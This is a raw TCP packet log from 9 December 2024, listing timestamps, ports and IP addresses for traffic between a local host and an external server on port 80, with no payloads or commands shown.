Dec 9, 2024 15:29:36.185609102 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.186906099 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.186918974 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.186958075 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.188524008 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.188535929 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.188585043 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.190051079 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.190063953 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.190073967 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.190104008 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.190116882 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.191857100 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.191869974 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.192008018 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.193291903 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.193304062 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.193350077 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.194911003 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.194928885 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.194972038 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.194984913 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.196446896 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.196464062 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.196475029 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.196515083 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.196525097 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.198040009 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.198055983 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.198105097 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.198117971 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.199579000 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.199592113 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.199632883 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.199651957 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.201265097 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.201277971 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.201328993 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.202701092 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.202721119 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.202765942 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.202790976 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.204340935 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.204354048 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.204364061 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.204397917 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.204421997 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.206147909 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.206160069 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.206197977 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.207578897 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.207592010 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.207623005 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.207639933 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.209220886 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.209234953 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.209274054 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.209289074 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.211076975 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.211090088 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.211100101 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.211139917 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.211164951 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.212918997 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.212932110 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.212977886 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.214499950 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.214513063 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.214551926 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.215856075 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.215867996 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.215919971 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.215934992 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.217397928 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.217411995 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.217453003 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.217470884 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.218892097 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.218909979 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.218921900 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.218945980 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.218969107 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.220278025 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.220319986 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.220365047 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.220416069 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.221685886 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.221699953 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.221746922 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.221760988 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.223278999 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.223292112 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.223335028 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.223350048 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.224878073 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.224891901 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.224931955 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.224958897 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.226445913 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.226459980 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.226469994 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.226516962 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.226613045 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.228019953 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.228033066 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.228085995 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.229598999 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.229612112 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.229621887 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.229655027 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.229680061 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.346674919 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.346745968 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.347002983 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.347083092 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.347544909 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.347599983 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.348223925 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.348270893 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.348609924 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.348658085 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.349201918 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.349252939 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.350085020 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.350097895 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.350138903 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.350157022 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.351460934 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.351516008 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.352282047 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.352294922 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.352341890 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.353662968 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.353724003 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.354227066 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.354269981 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.354967117 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.354986906 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.355017900 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.355036974 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.356527090 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.356596947 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.357101917 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.357114077 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.357152939 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.357184887 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.358587980 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.358599901 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.358658075 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.359957933 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.359971046 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.360027075 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.361388922 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.361401081 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.361444950 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.362840891 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.362854004 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.362901926 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.362934113 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.364406109 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.364418983 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.364465952 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.365967035 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.365978956 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.366019011 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.367510080 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.367530107 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.367563009 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.367584944 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.368931055 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.368948936 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.369153976 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.370383978 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.370402098 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.370434046 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.370471001 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.371956110 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.371974945 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.371985912 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.372010946 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.372030973 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.373572111 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.373586893 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.373619080 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.373637915 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.375200987 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.375221968 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.375257015 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.375288010 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.376729965 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.376743078 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.376785040 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.376799107 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.378413916 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.378426075 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.378437042 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.378469944 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.378479004 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.379894972 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.379909039 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.379957914 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.379973888 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.381484032 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.381496906 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.381545067 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.383034945 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.383047104 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.383097887 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.384653091 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.384665966 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.384722948 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.386209965 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.386223078 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.386234999 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.386267900 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.386296988 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.387788057 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.387800932 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.387849092 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.389436960 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.389448881 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.389503956 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.390911102 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.390935898 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.390964031 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.390983105 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.392587900 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.392601967 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.392612934 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.392637014 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.392667055 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.394253016 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.394273043 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.394313097 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.394329071 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.395709991 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.395735979 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.395766973 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.395781040 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.397272110 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.397284031 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.397335052 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.398861885 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.398875952 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.398917913 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.398937941 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.400584936 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.400598049 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.400649071 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.402039051 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.402054071 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.402065992 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.402100086 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.402132034 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.403606892 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.403621912 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.403670073 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.405242920 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.405256033 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.405302048 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.406765938 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.406780005 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.406826973 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.406855106 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.408356905 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.408371925 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.408384085 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.408442020 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.409936905 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.409950018 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.409974098 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.409992933 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.411503077 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.411515951 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.411559105 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.411585093 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.413089991 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.413103104 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.413151026 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.414798975 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.414820910 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.414855957 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.414881945 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.416276932 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.416290045 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.416328907 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.416338921 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.417841911 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.417860031 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.417870998 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.417901039 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.417916059 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.419413090 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.419425964 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.419473886 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.419492960 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.421086073 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.421103954 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.421145916 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.421159983 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.538698912 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.538846970 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.539220095 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.539278030 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.539722919 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.539736986 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.539777040 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.541126966 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.541187048 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.541840076 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.541887045 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.542613983 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.542627096 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.542666912 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.544054985 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.544128895 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.544718027 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.544730902 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.544775009 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.544790983 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.546247959 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.546300888 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.546859026 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.546875954 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.546951056 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.548279047 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.548291922 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.548341036 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.549700022 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.549714088 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.549760103 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.551146030 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.551167965 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.551208019 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.551235914 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.552720070 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.552747965 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.552784920 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.552803040 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.553985119 CET	80	49767	185.215.113.206	192.168.2.5
